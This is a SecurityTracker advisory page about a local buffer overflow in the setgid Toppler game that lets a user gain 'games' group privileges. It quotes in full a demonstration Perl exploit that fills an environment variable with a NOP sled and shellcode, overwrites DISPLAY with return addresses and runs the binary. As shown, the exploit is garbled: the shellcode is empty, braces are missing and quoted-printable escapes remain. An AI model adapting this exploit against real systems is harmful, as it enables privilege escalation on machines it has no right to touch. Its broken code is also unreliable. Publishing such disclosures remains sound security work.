Home    |    View Topics    |    Search    |    Contact Us    |   



Category:   Application (Game)  >   Toppler Vendors:
Toppler Game Buffer Overflow Lets Local Users Grab 'Games' Group Privileges
SecurityTracker Alert ID:  1006191
SecurityTracker URL:
CVE Reference:   GENERIC-MAP-NOMATCH   (Links to External Site)
Date:  Mar 2 2003
Impact:   Execution of arbitrary code via local system, User access via local system
Exploit Included:  Yes  

Description:   A buffer overflow was reported in the Toppler game software. A local user can gain additional privileges.

It is reported that a local user can supply a specially crafted argument to the toppler binary to cause the binary to execute arbitrary code. Because the software is installed with set group id (setgid) 'games' group privileges, the code will run with 'games' group privileges.

A demonstration exploit is provided in the Source Message.

Impact:   A local user can execute arbitrary code with 'games' group privileges.
Solution:   No solution was available at the time of this entry.
Vendor URL: (Links to External Site)
Cause:   Boundary error
Underlying OS:  Linux (Any), UNIX (Any)

Message History:   None.

 Source Message Contents

Subject:  gid games via toppler

Content-Type: text/plain;
Content-Transfer-Encoding: 7bit

Attached file should be self-explainatory.

Content-Type: application/octet-stream;
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment;

#!/usr/bin/perl playing a game
#hi bob
$len =3D 1024;
$ret =3D 0xbfbffd31;
$nop =3D "\x90";
$offset =3D 0;
$shellcode =3D =

if (@ARGV =3D=3D 1) {
    $offset =3D $ARGV[0];
for ($i =3D 0; $i < ($len - length($shellcode) - 100); $i++) {
    $buffer .=3D $nop;
$buffer .=3D $shellcode;

$new_ret =3D pack('l', ($ret + $offset));
for ($i +=3D length($shellcode); $i < $len; $i +=3D 4) {
    $buffer .=3D $new_ret;

local($ENV{'EGG'}) =3D $buffer;=20
local($ENV{'DISPLAY'}) =3D $new_ret x 64;=20

exec("toppler 2>/dev/null");


Go to the Top of This SecurityTracker Archive Page

Home   |    View Topics   |    Search   |    Contact Us

This web site uses cookies for web analytics. Learn More

Copyright 2020, LLC